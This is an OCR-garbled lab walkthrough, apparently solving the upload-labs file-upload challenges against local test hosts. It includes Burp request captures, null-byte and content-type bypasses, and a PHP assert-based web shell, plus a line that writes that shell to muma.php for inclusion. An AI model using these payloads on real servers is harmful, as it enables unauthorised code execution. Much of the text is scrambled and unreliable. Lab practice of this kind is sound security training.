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EEEREHR - R & |

browser.urlbar filter.javascript N true A
2N false

ljavascript.options.asmis SN true

javascript.options.asyncstack 2Rk false

ljavascript.options.baselinejit £ true

ljavascript.options.baselinejit. threshold £ 10

ljavascript.options.bigint Bk true

ljavascript.options.compact_on_user_inactive 2k true

ljavascript.options.compact_on_user_inactive_delay Btk 300000

javascript.options.discardSystemSource A false

ljavascript.options.dump_stack_on_debuggee_would... 2k false

|javascript.options.dynamiclmport E-UN true

|javascript.options.experimental await_fix E-UN true

|javascript.options.experimental.fields E-UN true

|javascript.options.gc_on memory _pressure A true

javascript.options.ion A true

javascript.options.ion.frequent bailout threshold  ZkiA 10 v
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% Burp Suite Community Edition v1.7.33 - Temporary Project

Burp Intruder Repeater Window Help
[ Target T Proxy I Spider I Scanner Tlmruder I Repeater ISequencer ] Decoder I Comparer IExiender I Project options IUSer options | Alerts
2 x| ..
Go Cancel <|v >|r Target: http://192.168.43.221 | & | 7
Request Response
Raw | Params | Headers | Hex [ [Raw | Headers | Hex | HTML | Render |
POST /upload-labs-master/Pass-02/index.php HTTP/1.1 A </div> A
Host: 192.168.43.221 r
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0 </div>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/%:q=0.8 <divid="footer">
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 <center>Copyright&nbsp; @ 8&nbsp; <span
Accept-Encoding: gzip, deflate id="copyright_time"></span>8&nbsp;by8&nbsp;<a href="http://gv7.me"
Content-Type: multipart/form-data; boundary=-- --226851099512096 target="_bank" >cOny1</a></center>
Content-Length: 406 </div>
Connection: close <div class="mask" > </div>
Referer: http://192.168.43.221/upload-labs-master/Pass-02/index.php <div class="dialog">
Upgrade-Insecure-Requests: 1 I <div class="dialog-title" <a href="javascriptvoid(0)"
class="close" title="27" >3 </a> </div>
226851099512096 <div class="dialog-content"> </div>
2 name="upload file"; filename="s.php" <#div>
ontent-Type: image/png </body>
<script type="text/ ipt” sre="/upload-lab fis/jquery.min js*></script>
<?php class test {function assert()($f = _F ;@$f($_POST['shell D:H$t = new <script type="text/javascript" src="/upload-labs-master/js/prism.js" > </script>
test();$t->assert(); 2> <script type="text/javascript*
- --226851099512096 src="/upload-lab: prism-lin bers.min.js"> </script>
Content-Disposition: form-data; name="submit" <script type="text/javascript” src="/upload-labs-master/js/prism-php.minjs*> </script> (\
<script type="text/j ipt" sre="/upload-lab Jis/index.js"> </script>
% </html>
--226851099512096-
" i
u u u u Type a search term 0 matches u u u u Type a search term 0 matches
Done 4,351 bytes | 7 millis
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Burp Intruder Repeater Window Help

[ Decoder I Comparer I Extender I Project options I User options I Alerts I
[ Target I Proxy I Spider T Scanner I Intruder T Repeater I Sequencer ]

Jlnlercepl T HTTP history TWeDSockels history I Options ]

[#) Request to nttp:/1192 168 43 22160
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)
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[ Forward ] [ Drop ] [ Intercepti... ] [ Action J Comment this item

Raw | Params | Headers | Hex

POST /Pass-04/index.php HTTP/1.1

Host: 192.168.43.221

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html, ion/xhtml+xmi,applicati 0,4/%:q=0.8
Accept-Language: zh-CN,zhiq=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=---------------------- 12551609245
Content-Length: 294

Connection: close

Referer: http://192.168.43.221/Pass-04/index.php

Upgrade-Insecure-Requests: 1

7777777777777777777777777 12551609245
Content-Disposition: form-data; name ="upload_file"| filename=""

Content-Type: application/octet-stream

T

————————————————————————————— 12551609245
Content-Disposition: form-data; name ="submit"
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AR A FE burp B TH 2B hex3i i -
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C' ® 192.168.43.221/upload/201910120944336111.php:$data
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‘onnection: close
.eferer: http://192.168.1.114/Pass-09/index.php
Ipgrade-Insecure-Requests: 1

---------------------------- 280692139923521

ontent-Disposition: form-data; name="upload_file"; filename

‘ontent-Type: application/octet-stream

17php class test {function assert(){$f = _FUNCTION__:@$f($_POST['sh@'];}}$t = new test();$t->assert(); ?>

---------------------------- 280692139923521
ontent-Disposition: form-data; name="submit"

,,,,,,,,,,,,,,,,,,,,,,,,,,,, 280692139923521--

iLfSphp. . FPIEE A S T
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AR
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EEST ~[PeEval) v|[oees1z ] iR

XTI EEHurlBpar
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# Burp Suite Community Edition v1.7.33 - Temporary Project

Burp Intruder Repeater Window Help

Target | Froxy Spider IScanner Tlnlluder ]Repealer TSequencer ]Decoﬂer IComparel TExlender IProjecl options IUser options IAIerIS

_[ Intercept T HTTP history TWenSockets history T Options ]

(:#) Reauest to nttp 7192 168.1.114 60

l Forward | l Drop J [ Intercept is on ] l Action J :@
Raw | Params | Headers I Hex

POST /Pass-11/index.php?save_path=../upload/ HTTP/1.1

Host: 192.168.1.114

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0

Accept: text/html,application/xhtml +xml, applicati 1:4=0.9,*/%:q=0.8
zh-CN,zh;q=0.8,zh-TW;q =0.7,2h-HK;q=0.5,en-USiq=0.3,eniq=0.2

gzip, deflate

Itipart/form-data; boundary=-------------—----—--— 8001288817446

|

T

.1.114/Pass-11/index.php
u

8001288817446
Content-Disp rm-data; name="upload_file"; filename="ss.png"

<?php class test {functio
————————————————————————————— 8001288817446
Content-Disposition: form-data; name="submit"

ert({$f=__FUNCTION__;@$f($_POST['shell [y}}$t = new test(s$t->assert(); ?>

77777777777777777777777777777 8001288817446--

3
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T T T T Type a search term 0 matches
ey

burp, KIEE—FZEEEHE, B ERK

BTGRP S EE R4 ss.php%00 &, HAEE VRN, FNtiisave pathifid
$_GETHEHERM, FFbh R BB LE SO B 4 5 R %000 Al (BRIEiES POSTHA MR, W HE@ithex
RSB JE BT http L)

T EERB SN BRAE S AR, JEMNTEREE R RAFER

007 I IR 2
JRE

RALEST A LA IR I (R #HD B, WRIBR0X00(ascifd hE), MSINNEIMELR. B
PAAR SR A% info12.jpg SO 42 B4 & #e info12.php.

%005 0x00%k 7

JRE—#, HR7EPass-11FAGETH R, RS 27E#H 1T URLARRD I K H A#RFD p0x00,Pass-124 HPOST 53X,
®AURLMEILIX — 18, FrUAEEhexE P BE, AO0X00E; M .

pass-12
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Burp Intruder Repeater Window Help

Target | Froxy | Spider | Scanner Tmuuaer TRepeaier TSequencer TDecoder TComparer TExiendel TProjecl options TUser options | Alerts

j Intercept I HTTP history TwEbSOCkas history I Options ]

L_J Request to http://192.168.1.114:80

Forward Drop
J

Raw | Params | Headers | Hex

J Intercept is on Action

POST /Pass-12/index.php HTTP/1.1
Host: 192.168.1.114

Accept: text/html, html+xml,applicati

Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=
Content-Length: 513

Connection: close

Referer: http://192.168.1.114/Pass-12/index.php
Upgrade-Insecure-Requests: 1
- 1852125961615
Content-Disposition: form-data;

E*save_path"
Jupload/ss.php
8521259616155

Content-Type: image/png

-18521259616155
Content-Disposition: form-data; name="submit"

-18521259616155--

03,emg=0.2

Content-Disposition: form-data; name="upload_file"; filename="ss.png"

----18521259616155

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
icati 0.9,*/%q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5 en-U

<?php class test {function assert()($f = _FUNCTION__;@$f($_POST['shell;}}$t = new test(;$t->assert(); 7>

w u u u Type a search term

;

0 matches

Burp Intruder Repeater Window Help

Target | Proxy Spider | Scanner T\mruder TRepealer TSequencer TDecoder TComparer TExlender TProjecl options TUser options | Alerts

j Intercept T HTTP history TWebSockeis history I Options ]

w Request to http://192.168.1.114:80

Forward Drop
( J L

Raw | Params | Headers | Hex

| | Intercept is on

Action

Comment this item

% 20 44 69 /3 W0 6 /3 6 74 68 6 6e 3% 20 06 6  Dsposionfo 7
% 72 6 20 64 61 74 61 3 20 6 6 55t 73 m-data; name="s r
27 61 76 65 s 70 61 T4 68 2 0 0a 0 0a  2¢ 2 |2 avepath'/

28 75 70 6 & 61 6 2A T3 B 2% 70 70 Ppo_ Jod |o0a  uploadiss.php[]

29 20 20 20 2 20 2 2 2 20 20 20 2 20 2d

2 20 20 20 2 20 20 20 2d 20 20 20 2d  2da 31 34

2 3 33 3 33 39 37 3% 32 37 31 38 38 0d  0a 43 6rN4323077188C0

2 6 74 65 6 74 2 44 69 7370 & 73 69 74 69 of ispositio

2 G 3 20 & & 72 6&d 2 64 61 74 61 3 20 e 61  nfom-datana

% 6d 65 3 2 75 70 6 6f 61 64 5 66 69 6 65 22 me="upload_file"

2 % 20 e 69 6 65  Ge 61 6 65 3d 22 73 73 2 70 ;filename="ssp

30 6e 67 2 04 0a 43 &  6e 74 65 6 74 20 54 79 70  ng'ContentTyp

3N 65 3a 20 69 6d 61 67 65 2f 70 Be 67 od Oa od Oa e: image/png

32 % a 70 e 70 2 63 6 61 73 73 20 74 65 73 74  <7phpclass test N
3 20 e 75 6 63 T4 69 6 6e 20 61 73 73 65 72 [function asser

3 74 28 20 w24 66 20 3 20 5 5 46 55 de 43 54 t{$f=__FUNCT

35 49 4 de 5 & 20 3B 40 24 66 28 24 5 50 4 53 ION_@S(S_POS

3% s s 27 73 68 65  6c 6 27 54 29 3 74 7d 24 74 Trshellpst

a7 20 3 20 6 6 77 20 74 65 73 74 28 29 3 24 T4 =newtest(st

38 24 3% e 73 73 65 72 T4 28 20 3% 20 3% 3 0d O0a  --asser();?

39 20 20 20 24 20 2 2 2 20 20 20 2 20 2 24 2 - -

3a 20 20 20 2 20 20 20 2d 20 20 20 24 20 31 34 30 149

B 3% 33 ® 3 39 37 3B 3 7 31 38 38 0d 0a 43 6  432307527188Co v
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‘e EZN@20100812 -M X
I v (1 http://192.168.1.114/upload/ss.... >
& D:\ < EE BH 201310121 8+
192.168.1.114 BR (1), 1) £H il Hih Eit © © SHELLZH)
3 ) 2!
c: (=) $RECYCLE.BIN 0190319085328 0 0777 fﬁ"rgu 4
| ) Users £ CloudMusic 201909-2916:0828 12288 0777 5 ﬁgg”"’e
B & %535 o Nen IR 1m13 9790, & \
e 0 NewSIEIETCRE.. 20190318232833 0 0777 v
- - P ] nishang 20130516 11:40:11 0 o777
B “‘{l;;;_m"_““’ 5 DGMusicCache 20191006 134254 0 777
5@ & wlosd ) aycache 201906830 21:2257 0 0777
X uploal
) RG-APTEEE N SAG.. 20190319232935 0 0777
] $RECYCLE. BIN ] System Volume Inform... 2013-02-04 20:46:58 0 o777
. . ] Tor Browser 2019-07-18 11:56:48 0 777
] CloudMusic '
) He SR TP R T 2 o YoukuFles — 2MS0B317A714 0 0777
) ni sheng O REFREF 42 290529205856 12288 0777
() @@usicCache [ Alexz.pem 0190429134354 1675 0666
&) aveache |£) Bupsuite 17.33jar  20180602082338 26432532 0BE6
5 Ro-APTRAE N ERA0S1L, 1 (5)BSLPHRPEIRATIER o] keidinuxlarge-20193. . 2019090321:0856 580276224 0666
) Systen Volune Information & Metasploitable2-Linux .. 20190309 14:38:08 948655104  (B66
() Tor Browser B nishang zip 2019051611:3333 1891726 0666
() Youku Files g sqli-labs-master.zip 20190921 15:12:23 3657281
O FRREER H3HR 2019 [ vM o0 8 485401816
W
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pass-13

<?php FLARXAERE 2>

< C  ® 192.168.1.114/Pass-13/index.php : O » =
@ JUIER, EEEAF. G Google § Ro4Es-swemw. E=m [ Aokesk - Joko. . FI (0 SESER - AP () waEnes (- » [Bahigs tNBE
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Pass-01

& Brs MRS E.
EE:
RELEEENBERSRRRADETEN —0iE 5 veoshetl K8,
2. EANHEERAEETERSPNERRB.
B EBRSE e, .o, .0if —MMERPLERD AT X

BEERELENER:

SRR

Pass-19
Pass-20

X E NIz R T waffi KR E RDE ZEM RN ZERM TR, FENAD AT K REAE
RBwinEtr g EpngE i, FHDITITE, BEERERMBMELERNN—AD, BIF ST 4E K 2 H B 5 i

CRESCEESE) BR EERIIUUGE KB LR RE XA E, THZMN b FEES SRR, 768
K B R AT
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<?php class test {function assert(}{$f = _ FUNCTION__ ;@$%f($_POST['shell]);}}$t = new test();$t->assert(); ?
>

B :

<?php fputs(fopen('muma.php', w'),'<?php class test {function assert(}{$f = __ FUNCTION__
;@3f($_POST[shell]);}}$t = new test();$t->assert();?>"); 7>

PAT 2 JE =1 EARR SO 0T B 3T AU A 5B 30 fFmuma.php

T2 R BRI MR B 5 finclude. php el R S NS A, B HEIEE & RF, FfolsT
— A PR SRR T R AT A T

upload-labs b 192.168.43.221/include.php?file X

& @  © 192.168.43.221/include.php?file=./uplc BE80% e om ) O 8 O » =
@ MER, HEEERF. G Google § witims -4ped.. BT [0 Aok - Avko. . DEENEELNHE
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190°0000006020000100'E0"00OMOWTIONG1009060000"0CH 0Y001'00060/001h0000500
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